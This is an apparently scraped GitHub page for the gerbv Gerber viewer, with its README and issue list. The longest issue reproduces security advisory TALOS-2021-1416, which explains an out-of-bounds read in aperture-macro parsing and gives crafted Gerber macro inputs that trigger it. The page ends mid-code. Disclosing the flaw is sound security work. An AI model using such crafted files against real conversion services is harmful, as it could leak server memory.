Git Product home page Git Product logo

gerbv's Introduction

Gerbv – a Gerber file viewer Build StatusCoverage Status

Gerbv was originally developed as part of the gEDA Project but is now separately maintained.

Download

Official releases are published on GitHub Releases. Moreover, CI generated binaries are published on gerbv.github.io. Be aware however that they are not manually verified!

About Gerbv

  • Gerbv is a viewer for Gerber RS-274X files, Excellon drill files, and CSV pick-and-place files. (Note: RS-274D files are not supported.)
  • Gerbv is a native Linux application, and it runs on many common Unix platforms.
  • Gerbv is free/open-source software.
  • The core functionality of Gerbv is located in a separate library (libgerbv), allowing developers to include Gerber parsing/editing/exporting/rendering into other programs.
  • Gerbv is one of the utilities originally affiliated with the gEDA project, an umbrella organization dedicated to producing free software tools for electronic design.

About this fork

While Gerbv is great software, the development on Source Force has stalled since many years with patches accumulating in the tracker and mailing list.

This fork aims at providing a maintained Gerbv source, containing mostly bugfixes.

To communicate with the original Gerbv developers, please post your query on the following mailing list:

This is a friendly fork and I'm willing to invite other people to join the Gerbv GitHub organization.

Applied patches from SourceForge

Supported platforms

Gerbv has been built and tested on

  • Debian 10 (amd64)
  • Fedora 38 (amd64)
  • Ubuntu 22.04 (amd64)
  • Windows 10 (amd64 cross compiled from Fedora as well as native x86/amd64 using MSYS2)

Information for developers

Gerbv is split into a core functional library and a GUI portion. Developers wishing to incorporate Gerber parsing/editing/exporting/rendering into other programs are welcome to use libgerbv. Complete API documentation for libgerbv is here, as well as many example programs using libgerbv.

Click for Example 1

Description: Loads example1-input.gbx into a project, and then exports the layer back to another RS274X file

code example

Click for Example 2

Description: Loads example2-input.gbx, duplicates it and offsets it to the right by the width of the layer, merges the two images, and exports the merged image back to another RS274X file. Note: this example code uses the gerbv_image

code example

Click for Example 3

Description: Loads example3-input.gbx, duplicates it and offsets it to the right by the width of the layer, changed the rendered color of the second image, then exports a PNG rendering of the overlaid images.

code example

Click for Example 4

Description: Loads example4-input.gbx, searches through the file and removes any entities with a width less than 60mils, and re-exports the modified image to a new RS274X file.

code example

Click for Example 5

Description: Demonstrate the basic drawing functions available in libgerbv by drawing a smiley face and exporting the layer to a new RS274X file.

code example

Click for Example 6

Description: Demonstrate how to embed a libgerbv render window into a new application to create a custom viewer

code example

Security

The current focus of gerbv is to provide a utility to view and manipulate trusted gerber files. When using gerbv, you should not view files from untrusted sources without extra precautions.

Nevertheless, we acknowledge that libgerbv will be used to handle untrusted input, maybe even provided over the network. In those cases we strongly advise to treat libgerbv as any codec and isolate its operations from the rest of your application.

If you are aware of a security issue, we recommend full public disclosure as a GitHub issue. This way our users are warned and can act accordingly while we work on providing a mitigation.

License

Gerbv and all associated files is placed under the GNU Public License (GPL) version 2.0. See the toplevel COPYING file for more information.

Programs and associated files are: Copyright 2001, 2002 by Stefan Petersen and the respective original authors (which are listed on the respective files)

gerbv's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

gerbv's Issues

Unsupported codes in Route files

When importing I get:
NAME-SlotHoles-NonPlated.TXT"
Unsupported G01 (linear mode) code at line 25 in file "NAME-SlotHoles-NonPlated.TXT"
Unsupported M16 (retract with clamping) code found at line 26 in file "NAME-SlotHoles-NonPlated.TXT"
Unsupported G00 (rout mode) code at line 27 in file "NAME-SlotHoles-NonPlated.TXT"
Unsupported M15 (Z-axis rout position) code found at line 28 in file "NAME-SlotHoles-NonPlated.TXT"
Unsupported G01 (linear mode) code at line 29 in file "NAME-SlotHoles-NonPlated.TXT"
Unsupported M16 (retract with clamping) code found at line 30 in file "NAME-SlotHoles-NonPlated.TXT"
Unsupported M17 (retract without clamping) code found at line 31 in file "NAME-SlotHoles-NonPlated.TXT"

Remove deprecated gdk_pixbuf_new_from_inline

This is one of the warnings when compiling.

This issue is a subtask of #45

interface.c: In function ‘interface_create_gui’:
interface.c:340:2: error: ‘gdk_pixbuf_new_from_inline’ is deprecated [-Werror=deprecated-declarations]
  pointerpixbuf = gdk_pixbuf_new_from_inline(-1, pointer, FALSE, NULL);
  ^~~~~~~~~~~~~
In file included from /usr/include/gdk-pixbuf-2.0/gdk-pixbuf/gdk-pixbuf.h:34,
                 from /usr/include/gtk-2.0/gdk/gdkpixbuf.h:37,
                 from /usr/include/gtk-2.0/gdk/gdkcairo.h:28,
                 from /usr/include/gtk-2.0/gdk/gdk.h:33,
                 from /usr/include/gtk-2.0/gtk/gtk.h:32,
                 from gerbv.h:73,
                 from interface.c:29:
/usr/include/gdk-pixbuf-2.0/gdk-pixbuf/gdk-pixbuf-core.h:362:12: note: declared here
 GdkPixbuf* gdk_pixbuf_new_from_inline (gint          data_length,

porting to Windows and packaging

I had opened this issue just to discuss my tests and try to build current (and maybe old) sources to Win10 64 bit.
In the past I had built v2.6.2 and v2.7.0 @32/64bit for Win7, and git sources till 2020 @32/64bit for Win10.
I had made some tests now with github sources, I report here results and maybe ask solutions as not everything work as expected.

No error check for invalid arcs in single quadrant

File: Gerber.c
Method: calc_cirseg_sq()
This method does not check for invalid arcs.
As stated in the RS274X specification:
Single quadrant circular interpolation plots an arc within one quadrant (90°).
Single quadrant arcs must fit entirely within the quadrant in which they begin. A
separate data block is required for each quadrant. A minimum of four data blocks
is required to plot a circle.
This is evident in the the file "test-circular-interpolation-1.gbx.

G04 Switch to quadrant mode, draw clockwise*
G04 Note: since this is single quadrant mode, I and J must be*
G04  positive, and the parser should automatically negate the J value*
G04  to make the curve travel in the clockwise direction*
G74*
G01X00400Y**00300**D02*
G02X00500Y**00300**I00150J00300D01*

In the last arc code, StartY and StopY are the same value, (3) meaning they are in different quadrants.
Rather than catching this error it renders an incorrect arc segment. This can be seen in the output (the top right arc) that the StartY and StopY are clearly not the same. Admitting, this is only a hand coded sample, and may not happen in a practical file, but I think this should be checked anyway.
I also noted that the circle segment parameters store the arc segment's width and height, which are mostly different values. As these are used to render the arc segment the result is a distorted arc (see the lower right arc in the same file). Perhaps the width and height should store the diameter as in the MQ arc segment code.
After all this, the G74 code has been deprecated in the X3 specification so is only necessary to fix if you wish to support legacy pcb gerbers.
With thank Milton.

Add code coverage

I've had good experiences with coveralls.io and it was free.

Code coverage is a nice tool in CI that will tell us if new code patches are getting good line coverage. This is nice to have, it can identify holes in testing and give more confidence in PRs.

memory lost error from g_get_current_dir

Memory is lost due to calling a glib function that returns the current directory but not freeing that memory later.

To cause the error, run valgrind on gerbv like this:

valgrind --error-exitcode=127 --errors-for-leak-kinds=definite --leak-check=full -s --exit-on-first-error=yes --expensive-definedness-checks=yes -- gerbv --export=png --window=640x480 ../example/am-test/am-test.gbx

It will exit with code 127 and this is part of the output:

==13222== 31 bytes in 1 blocks are definitely lost in loss record 104 of 287
==13222==    at 0x483679D: malloc (vg_replace_malloc.c:380)
==13222==    by 0x5255990: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.5800.3)
==13222==    by 0x526F54E: g_strdup (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.5800.3)
==13222==    by 0x523CB94: g_get_current_dir (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.5800.3)
==13222==    by 0x11919C: main (main.c:927)

Excellon format autodetection with leading zeros

The test file from #93 also confuses gerbv's Excellon format autodetection. All coordinates in the file have several leading zeros, so it should be obvious that trailing zero omission was used, yet, gerbv thinks this is a file with leading zero omission.

Warning when undefined apertures are used for regions only

I have a particular (broken) Zuken CR-8000 gerber file that only contains regions. As it turns out, CR-8000 will not emit any aperture definitions when a file does not contain any lines or arcs, but will still try to select the undefined aperture D10 before drawing a region.

gerbv (rightfully) complains about this with several CRITICAL warnings:

** (process:856804): CRITICAL **: 11:26:31.744: Undefined aperture number called out in D code
** (process:856804): CRITICAL **: 11:26:31.744: Found undefined D code D10 at line 5 in file [...]

I propose changing these warnings as follows:

  • Unify both warnings into one, and lower the level to "WARNING"
  • Add a second, distinct warning with "CRITICAL" level that triggers when the undefined tool is actually used to draw a line or arc.

My reasoning is that while using an undefined aperture is very bad™ according to spec, drawing nothing but regions with it still produces well-defined results by spec.

Aperture definition pointing to non-existing aperture macro crashes gerbv

Minimal testcase:

%FSLAX56Y56*%
%IPPOS*%
G75
%LPD*%
%ADD10MACRO75,*%
M02*

** (process:191772): ERROR **: 21:10:39.919: aperture->amacro NULL in simplify aperture macro
fish: Job 2, 'gerbv gerbonara_test_failure...' terminated by signal SIGTRAP (Trace or breakpoint trap)

gerbv version: 2.8.1 on archlinux

Add layer compare functionality

It would be nice to have the ability to select two layers to compare (Old and New) where removals would be red, additions could be green, and unchanged could have the option of being black, or not shown so only changes are presented.

save project does not keep orientation

When saving a project, closing and reopening, the orientation set on a layer via Right click, Modify Orientation, is lost.

I am using gerbv 2.6.1 (official Ubuntu 18 package).

Port to gtk3/gtk4

Hi,
Are there any plans to port this project to a newer version of the GTK library ?
Thanks !

gerbv should probably complain about unterminated G04 comments.

Sample file attached. This file contains a mid-file G04 comment with the trailing '*' missing. gerbv silently parses this as a two-line G04 comment, leading to incorrect rendering. It should probably complain about the unterminated comment instead.

G54D17*
X00953Y00818D03*
X00953Y00618D03*
X00953Y00418D03*
G04 next file*
G04 MADE WITH FRITZING*
G04 WWW.FRITZING.ORG*
G04 DOUBLE SIDED*
G04 HOLES PLATED*
G04 CONTOUR ON CENTER OF CONTOUR VECTOR*
G90*
G04 skipping 70
D28*
X01338Y00039D02*
X01751Y01768D03*
X01851Y01768D03*
X01951Y01768D03*
X02051Y01768D03*
D29*
X01551Y01418D03*
X01551Y01118D03*

The four holes at Y=1.768 get rendered using the rectangular D17 aperture instead of the circular D28 aperture.

sample_gerber.txt

New command line arguments

It would be really nice to have the ability to control via CLI the following items when starting the program:

  • Orientation of a given layer (Modify Orientation)
  • Drawing mode (Fast, XOR, ...)

This is needed for: dennevi/GrbDiff#1

Security advisory TALOS-2021-1416

TALOS-2021-1416
CVE-2021-40402

Gerbv RS-274X aperture macro multiple outline primitives out-of-bounds read vulnerability

Summary

An out-of-bounds read vulnerability exists in the RS-274X aperture macro multiple outline primitives functionality of Gerbv 2.7.0 and dev (commit b5f1eac), and Gerbv forked 2.7.1 and 2.8.0. A specially-crafted gerber file can lead to information disclosure. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv forked 2.7.1
Gerbv forked 2.8.0
Gerbv dev (commit b5f1eac)

Product URLs

https://sourceforge.net/projects/gerbv/

CVSSv3 Score

9.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H

CWE

CWE-755 - Improper Handling of Exceptional Conditions

Details

Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the RS-274X file-type.

int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...        
    dprintf("In open_image, about to try opening filename = %s\n", filename);
    
    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                        filename, strerror(errno));
        return -1;
    }
    ...
    if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
        dprintf("Found RS-274X file\n");
        if (!foundBinary || forceLoadFile) {
                /* figure out the directory path in case parse_gerb needs to
                 * load any include files */
                gchar *currentLoadDirectory = g_path_get_dirname (filename);
                parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                g_free (currentLoadDirectory);
        }
    }
    ...

A file is considered of type "RS-274X" if the function gerber_is_rs274x_p [1] returns true. When true, parse_gerb is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

gboolean
gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary) 
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        dprintf ("buf = \"%s\"\n", buf);
        len = strlen(buf);
    
        /* First look through the file for indications of its type by
         * checking that file is not binary (non-printing chars and white 
         * spaces)
         */
        for (i = 0; i < len; i++) {                                             // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
                dprintf ("found_binary (%d)\n", buf[i]);
            }
        }
        if (g_strstr_len(buf, len, "%ADD")) {
            found_ADD = TRUE;
            dprintf ("found_ADD\n");
        }
        if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
            found_D0 = TRUE;
            dprintf ("found_D0\n");
        }
        if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
            found_D2 = TRUE;
            dprintf ("found_D2\n");
        }
        if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
            found_M0 = TRUE;
            dprintf ("found_M0\n");
        }
        if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
            found_M2 = TRUE;
            dprintf ("found_M2\n");
        }
        if (g_strstr_len(buf, len, "*")) {
            found_star = TRUE;
            dprintf ("found_star\n");
        }
        /* look for X<number> or Y<number> */
        if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after X */
                found_X = TRUE;
                dprintf ("found_X\n");
            }
        }
        if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after Y */
                found_Y = TRUE;
                dprintf ("found_Y\n");
            }
        }
    }
    ...
    /* Now form logical expression determining if the file is RS-274X */
    if ((found_D0 || found_D2 || found_M0 || found_M2) &&                     // [4]
        found_ADD && found_star && (found_X || found_Y)) 
        return TRUE;
    
    return FALSE;

} /* gerber_is_rs274x */

For an input to be considered an RS-274X file, the file must first of all contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

%FSLAX26Y26*%
%MOMM*%
%ADD100C,1.5*%
D100*
X0Y0D03*
M02*

Though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

%ADD0X0*

After an RS-274X file has been recognized, parse_gerb is called, which in turn calls gerber_parse_file_segment:

gboolean
gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image, 
                           gerb_state_t *state,        gerbv_net_t *curr_net, 
                           gerbv_stats_t *stats, gerb_file_t *fd, 
                           gchar *directoryPath)
{
    ...
    while ((read = gerb_fgetc(fd)) != EOF) {
        ...
        case '%':
            dprintf("... Found %% code at line %ld\n", line_num);
            while (1) {
                    parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                stats, directoryPath, &line_num);

If our file starts with "%", we end up calling parse_rs274x:

static void 
parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image, 
             gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats, 
             gchar *directoryPath, long int *line_num_p)
{
    ...
    switch (A2I(op[0], op[1])){
    ...
    case A2I('A','D'): /* Aperture Description */
        a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);

        ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [6]
        ...
        break;
    case A2I('A','M'): /* Aperture Macro */
        tmp_amacro = image->amacro;
        image->amacro = parse_aperture_macro(fd);                         // [5]
        if (image->amacro) {
            image->amacro->next = tmp_amacro;
        ...

For this advisory, we're interested in the AM and AD commands. For details on the Gerber format see the specification from Ucamco.

In summary, AM defines a "macro aperture template," which is, in other terms, a parametrized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows arithmetic operations and variable definition. After a template has been defined, the AD command is used to instantiate the template and optionally pass some parameters to customize the shape.

From the specification, this is the syntax of the AM command:

<AM command>          = AM<Aperture macro name>*<Macro content>
<Macro content>       = {{<Variable definition>*}{<Primitive>*}}
<Variable definition> = $K=<Arithmetic expression>
<Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
<Modifier>            = $M|< Arithmetic expression>
<Comment>             = 0 <Text>

While this is the syntax for the AD command:

<AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
<Modifiers set> = <Modifier>{X<Modifier>}

For this advisory, we're interested in the "Outline" primitive (code 4). From the specification:

An outline primitive is an area defined by its outline or contour. The outline is a polygon,
consisting of linear segments only, defined by its start vertex and n subsequent vertices.

The outline primitive should contain the following fields:

+-----------------+----------------------------------------------------------------------------------------+
| Modifier number | Description                                                                            |
+-----------------+----------------------------------------------------------------------------------------+
| 1               | Exposure off/on (0/1)                                                                  |
+-----------------+----------------------------------------------------------------------------------------+
| 2               | The number of vertices of the outline = the number of coordinate pairs minus one.      |
|                 | An integer ≥3.                                                                         |
+-----------------+----------------------------------------------------------------------------------------+
| 3, 4            | Start point X and Y coordinates. Decimals.                                             |
+-----------------+----------------------------------------------------------------------------------------+
| 5, 6            | First subsequent X and Y coordinates. Decimals.                                        |
+-----------------+----------------------------------------------------------------------------------------+
| ...             | Further subsequent X and Y coordinates. Decimals.                                      |
|                 | The X and Y coordinates are not modal: both X and Y must be specified for all points.  |
+-----------------+----------------------------------------------------------------------------------------+
| 3+2n, 4+2n      | Last subsequent X and Y coordinates. Decimals. Must be equal to the start coordinates. |
+-----------------+----------------------------------------------------------------------------------------+
| 5+2n            | Rotation angle, in degrees counterclockwise, a decimal.                                |
|                 | The primitive is rotated around the origin of the macro definition,                    |
|                 | i.e. the (0, 0) point of macro                                                         |
+----------------------------------------------------------------------------------------------------------+

Also the specification states that "The maximum number of vertices is 5000," which is controlled by the modified number 2. So, depending on the number of vertices, the length of this primitive will change.

In the parse_rs274x function, when an AM command is found, the function parse_aperture_macro is called [5]. Let's see how this outline primitive is handled there:

gerbv_amacro_t *
parse_aperture_macro(gerb_file_t *fd)
{
    gerbv_amacro_t *amacro;
    gerbv_instruction_t *ip = NULL;
    int primitive = 0, c, found_primitive = 0;
    ...
    int equate = 0;

    amacro = new_amacro();

    ...        
    /*
     * Since I'm lazy I have a dummy head. Therefore the first 
     * instruction in all programs will be NOP.
     */
    amacro->program = new_instruction();
    ip = amacro->program;
    
    while(continueLoop) {
        
        c = gerb_fgetc(fd);
        switch (c) {
        ...
        case '*':
            ...
            /*
             * Check is due to some gerber files has spurious empty lines.
             * (EagleCad of course).
             */
            if (found_primitive) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                if (equate) {
                    ip->opcode = GERBV_OPCODE_PPOP;
                    ip->data.ival = equate;
                } else {
                    ip->opcode = GERBV_OPCODE_PRIM;                         // [10]
                    ip->data.ival = primitive;
                }
                equate = 0;
                primitive = 0;
                found_primitive = 0;
            }
            break;
        ...
        case ',':
            if (!found_primitive) {                                         // [8]
                found_primitive = 1;
                break;
            }
            ...
            break;
        ...
        case '1':
        case '2':
        case '3':
        case '4':
        case '5':
        case '6':
        case '7':
        case '8':
        case '9':
        case '.':
            /* 
             * First number in an aperture macro describes the primitive
             * as a numerical value
             */
            if (!found_primitive) {                                         // [7]
                primitive = (primitive * 10) + (c - '0');
                break;
            }
            (void)gerb_ungetc(fd);
            ip->next = new_instruction(); /* XXX Check return value */      // [9]
            ip = ip->next;
            ip->opcode = GERBV_OPCODE_PUSH;
            amacro->nuf_push++;
            ip->data.fval = gerb_fgetdouble(fd);
            if (neg) 
                ip->data.fval = -ip->data.fval;
            neg = 0;
            comma = 0;
            break;
        case '%':
            gerb_ungetc(fd);  /* Must return with % first in string
                                 since the main parser needs it */
            return amacro;                                                  // [11]
        default :
            /* Whitespace */
            break;
        }
        if (c == EOF) {
            continueLoop = 0;
        }
    }
    free (amacro);
    return NULL;
}

As we can see, this function implements a set of opcodes for a virtual machine that are used to perform arithmetic operations, handle variable definitions and references via a virtual stack, and primitives.
Let's take an outline primitive definition as example:

%AMTT*4,0,3,1,1,1*%

As discussed before, %AM will land us in the parse_aperture_macro function, and TT is the name for the macro. The macro parsing starts with 4 [7]: this is the primitive number, which is read as a decimal number until a , is found [8]. After that, each field separated by , is read as a double and added to the stack via PUSH [9]. These form the arguments to the primitive. When * is found [10], the primitive instruction is added, and with % the macro is returned.

The %AM command also supports defining multiple primitives, in order to produce more complex shapes:

%AMRR*
4,1,
4,0,0,0,1,1,1,1,0,0,0,
0*
4,1
3,1,0,2,0,1,1,1,0,
0*
%

This RR macro defines a square using the "outline" primitive (number 4), and then defines an orthogonal triangle again using the "outline" primitive which is placed at the right of the square, resulting in a right trapezoid.

For reference, these are the prototype for the macro and the program instructions:

struct amacro {
    gchar *name;
    gerbv_instruction_t *program;
    unsigned int nuf_push;
    struct amacro *next;
}

struct instruction {
    gerbv_opcodes_t opcode;
    union {
        int ival;
        float fval;
    } data;
    struct instruction *next;
}

Back to parse_rs274x: When an AD command is found, the function parse_aperture_definition is called [6], which in turn calls simplify_aperture_macro when the AD command is using a template.

static int
simplify_aperture_macro(gerbv_aperture_t *aperture, gdouble scale)
{
    ...
    gerbv_instruction_t *ip;
    int handled = 1, nuf_parameters = 0, i, j, clearOperatorUsed = FALSE;
    double *lp; /* Local copy of parameters */
    double tmp[2] = {0.0, 0.0};
    gerbv_aperture_type_t type = GERBV_APTYPE_NONE;                         // [12]
    gerbv_simplified_amacro_t *sam;
    ...
    for(ip = aperture->amacro->program; ip != NULL; ip = ip->next) {
        switch(ip->opcode) {
        case GERBV_OPCODE_NOP:
            break;
        ...
        case GERBV_OPCODE_PRIM :
            /* 
             * This handles the exposure thing in the aperture macro
             * The exposure is always the first element on stack independent
             * of aperture macro.
             */
            switch(ip->data.ival) {
            ...
            case 4 :                                                        // [13]
                dprintf("  Aperture macro outline [4] (");
                type = GERBV_APTYPE_MACRO_OUTLINE;                          // [19]
                /*
                 * Number of parameters are:
                 * - number of points defined in entry 1 of the stack + 
                 *   start point. Times two since it is both X and Y.
                 * - Then three more; exposure,  nuf points and rotation.
                 *
                 * @warning Calculation must be guarded against signed integer
                 *     overflow
                 *
                 * @see CVE-2021-40394
                 */
                int const sstack = (int)s->stack[1];
                if ((sstack < 0) || (sstack >= INT_MAX / 4)) {              // [14]
                    GERB_COMPILE_ERROR(_("Possible signed integer overflow "
                            "in calculating number of parameters "
                            "to aperture macro, will clamp to "
                            "(%d)"), APERTURE_PARAMETERS_MAX);
                    nuf_parameters = APERTURE_PARAMETERS_MAX;
                } else {
                    nuf_parameters = (sstack + 1) * 2 + 3;                  // [15]
                }
                break;
            ...
            default :
                handled = 0;                                                // [20]
            }

            if (type != GERBV_APTYPE_NONE) { 
                if (nuf_parameters > APERTURE_PARAMETERS_MAX) {             // [16]
                        GERB_COMPILE_ERROR(_("Number of parameters to aperture macro (%d) "
                                                        "are more than gerbv is able to store (%d)"),
                                                        nuf_parameters, APERTURE_PARAMETERS_MAX);
                        nuf_parameters = APERTURE_PARAMETERS_MAX;
                }

                /*
                 * Create struct for simplified aperture macro and
                 * start filling in the blanks.
                 */
                sam = g_new (gerbv_simplified_amacro_t, 1);
                sam->type = type;
                sam->next = NULL;
                memset(sam->parameter, 0, 
                       sizeof(double) * APERTURE_PARAMETERS_MAX);
                memcpy(sam->parameter, s->stack,                            // [17]
                       sizeof(double) *  nuf_parameters);
                ...
                /* 
                 * Add this simplified aperture macro to the end of the list
                 * of simplified aperture macros. If first entry, put it
                 * in the top.
                 */
                if (aperture->simplified == NULL) {                         // [18]
                    aperture->simplified = sam;
                } else {
                    gerbv_simplified_amacro_t *tmp_sam;
                    tmp_sam = aperture->simplified;
                    while (tmp_sam->next != NULL) {
                        tmp_sam = tmp_sam->next;
                    }
                    tmp_sam->next = sam;
                }
                ...
            }

For this advisory, all the AD commands have to do is utilize the macro that we just created, without special parameters. Let's consider the following macro and aperture definition:

%AMRR*
4,1,
4,0,0,0,1,1,1,1,0,0,0,
0*
4,1,
3,1,0,2,0,1,1,1,0,
0*
%
%ADD11RR*

To parse the AD command, the simplify_aperture_macro function will execute the RR macro in the virtual machine using the parameters given by AD. In this case we haven't specified any parameter since they're not relevant for this issue.

As previously discussed, our program (macro) contains a series of GERBV_OPCODE_PUSH instructions (pushing the numbers 1,4,0,0,0,1,1,1,1,0,0,0,0 for the first outline macro) and a GERBV_OPCODE_PRIM instruction for primitive 4 (outline), executed at [13].

At [15] the number of vertices is taken from the second field in the stack (as per specification) and the number of parameters for the primitive is calculated.
At [14] there is an integer overflow check that fixes a previous vulnerability (TALOS-2021-1405) which makes sure that nuf_parameters stays within the allowed size. Note that this fix is only present in a pull request and has not yet been merged at the time of writing. Either way, that fix wouldn't change the outcome of the issue described in this advisory.
At [16] the code makes sure that nuf_parameters is not bigger than APERTURE_PARAMETERS_MAX (102), otherwise nuf_parameters gets limited to APERTURE_PARAMETERS_MAX. Then at [17] the parameters are copied from the stack into the newly allocated sam structure, which is added to the aperture->simplified linked list [18], to keep a list of all simplified aperture macros defined in the macro.

Because sam->parameter has a size of 102 * 8, the checks above are important to limit nuf_parameters within the sam->parameter buffer. However, when multiple outline definitions are present, like in the RR macro above, any check at [14] and [15] can be bypassed.

Let's consider this macro:

%AMWW*
4,1,
4,0,0,0,1,1,1,1,0,0,0,
0*
99,1,
81,1,0,2,0,1,1,1,0,
0*
%
%ADD11RR*

The first outline is the same as the previous example. The second outline is weird: it specifies a macro code 99, which is not supported. However, when the first outline is parsed, the type variable is set to GERBV_APTYPE_MACRO_OUTLINE [19], and when the 99 is parsed, we hit the default case at [20], which does not set any type (so type is still GERBV_APTYPE_MACRO_OUTLINE) but sets the handled variable to 0, which is used as return value for the current function. This return value however is never checked by the caller.
When the default case is matched, the loop is not interrupted, so anything happening after this will assume the current macro is an outline, and it will use the same nuf_parameters of the previous cycle (which has been sanitized), so no out-of-bounds operations are going to happen at [17]. The line at [17] will, however, copy all the current parameters, including the 81 (which, for an outline, corresponds to the number of vertices).
Then, at [18], the new simplified aperture macro is added to the aperture->simplified linked list, which will be later used by the rendering code.

When the final image is drawn, the function gerbv_draw_amacro is called, which contains this code for handling outlines:

typedef enum {
                OUTLINE_EXPOSURE,
                OUTLINE_NUMBER_OF_POINTS,
                OUTLINE_FIRST_X, /* x0 */
                OUTLINE_FIRST_Y, /* y0 */
                /* x1, y1, x2, y2, ..., rotation */
                OUTLINE_ROTATION, /* Rotation index is correct if outline has
                                     no point except first */
} gerbv_aptype_macro_outline_index_t;

/* Point number is from 0 (first) to (including) OUTLINE_NUMBER_OF_POINTS */
#define OUTLINE_X_IDX_OF_POINT(number) (2*(number) + OUTLINE_FIRST_X)
#define OUTLINE_Y_IDX_OF_POINT(number) (2*(number) + OUTLINE_FIRST_Y)
#define        OUTLINE_ROTATION_IDX(param_array) \                             // [21]
                        ((int)param_array[OUTLINE_NUMBER_OF_POINTS]*2 + \
                        OUTLINE_ROTATION)
...
static int
gerbv_draw_amacro(cairo_t *cairoTarget, cairo_operator_t clearOperator,
        cairo_operator_t darkOperator, gerbv_simplified_amacro_t *s,
        gint usesClearPrimitive, gdouble pixelWidth, enum draw_mode drawMode,
        gerbv_selection_info_t *selectionInfo,
        gerbv_image_t *image, struct gerbv_net *net)
{
    ...
    case GERBV_APTYPE_MACRO_OUTLINE:
            draw_update_macro_exposure (cairoTarget,
                            clearOperator, darkOperator,
                            ls->parameter[OUTLINE_EXPOSURE]);
            cairo_rotate (cairoTarget, DEG2RAD(ls->parameter[                  // [22]
                            OUTLINE_ROTATION_IDX(ls->parameter)]));
            cairo_move_to (cairoTarget,
                            ls->parameter[OUTLINE_FIRST_X],
                            ls->parameter[OUTLINE_FIRST_Y]);

            for (int point = 1; point < 
                            1 + (int)ls->parameter[                            // [23]
                                    OUTLINE_NUMBER_OF_POINTS];
                                                    point++) {
                    cairo_line_to (cairoTarget,
                            ls->parameter[OUTLINE_X_IDX_OF_POINT(
                                                    point)],
                            ls->parameter[OUTLINE_Y_IDX_OF_POINT(
                                                    point)]);
            }

This function draws the objects defined in the simplified macro by reading the parameters saved at [18]. So, at [21] param_array[OUTLINE_NUMBER_OF_POINTS] will access the number of points of the outline, which in our example is 81. This number is too big for the parameter array, and will cause out-of-bounds accesses at [21], [22] and [23]. Since attackers control this number arbitrarily, with careful heap manipulation, they could exploit this to extract the process' memory by analyzing the objects in the rendered image (e.g. the objects rotation).

Note that another spot where a similar out-of-bounds access happens is in function gerber_parse_file_segment, for the same reason explained before:

} else if (ls->type == GERBV_APTYPE_MACRO_OUTLINE) {
    int pointCounter,numberOfPoints;
    numberOfPoints = ls->parameter[OUTLINE_NUMBER_OF_POINTS] + 1;

    for (pointCounter = 0; pointCounter < numberOfPoints; pointCounter++) {
        gerber_update_min_and_max (&boundingBox,
